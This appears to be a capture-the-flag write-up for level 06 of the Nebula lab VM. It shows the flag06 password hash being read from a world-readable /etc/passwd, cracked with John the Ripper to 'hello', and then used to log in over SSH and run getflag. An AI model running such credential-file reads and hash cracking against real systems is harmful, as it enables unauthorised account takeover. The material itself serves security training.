2 minute read

Level06 specifies that “The flag06 account credentials came from a legacy unix system.”

I believe the hint spells out exactly what we need to solve this level.

Legacy unix systems stored the password hashes in /etc/passwd, which is world-readable. Modern systems use the shadow file to store this sensitive information.

A quick grep statement should confirm if my suspicions are correct.

        level06@nebula:~$ grep flag06 /etc/passwd

Perfect, the line for the flag06 account contains a password hash instead of the ‘x’ that would be displayed on a modern system utilizing /etc/shadow.

Time to fire up John the Ripper to crack the hash:

        foo@kali:~$ john flag06
        Using default input encoding: UTF-8
        Loaded 1 password hash (descrypt, traditional crypt(3) [DES 128/128 AVX])
        Will run 2 OpenMP threads
        Press 'q' or Ctrl-C to abort, almost any other key for status
        hello            (flag06)
        1g 0:00:00:00 DONE 2/3 (2016-02-06 01:17) 100.0g/s 881200p/s 881200c/s 881200C/s 123456..nutmegs
	Use the "--show" option to display all of the cracked passwords reliably
        Session completed

John quickly identifies the password as ‘hello’. Time to test:

        level06@nebula:~$ ssh flag06@localhost
        The authenticity of host 'localhost (' can't be established.
        RSA key fingerprint is 67:fe:f4:09:cd:0f:ba:dd:87:2b:73:2c:80:31:c2:68.
        Are you sure you want to continue connecting (yes/no)? yes
        Warning: Permanently added 'localhost' (RSA) to the list of known hosts.

            _   __     __          __
           / | / /__  / /_  __  __/ /___ _
          /  |/ / _ \/ __ \/ / / / / __ `/
         / /|  /  __/ /_/ / /_/ / / /_/ /
        /_/ |_/\___/_.___/\__,_/_/\__,_/


        For level descriptions, please see the above URL.

        To log in, use the username of "levelXX" and password "levelXX", where
        XX is the level number.

        There are currently 20 levels (00 - 19).

        flag06@localhost's password:
        Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

        * Documentation:  https://help.ubuntu.com/
        New release '12.04 LTS' available.
        Run 'do-release-upgrade' to upgrade to it.

        The programs included with the Ubuntu system are free software;
        the exact distribution terms for each program are described in the
        individual files in /usr/share/doc/*/copyright.

        Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
        applicable law.

        flag06@nebula:~$ getflag
        You have successfully executed getflag on a target account

The password worked, I was able to successfully log into the flag06 account and run getflag.


comments powered by Disqus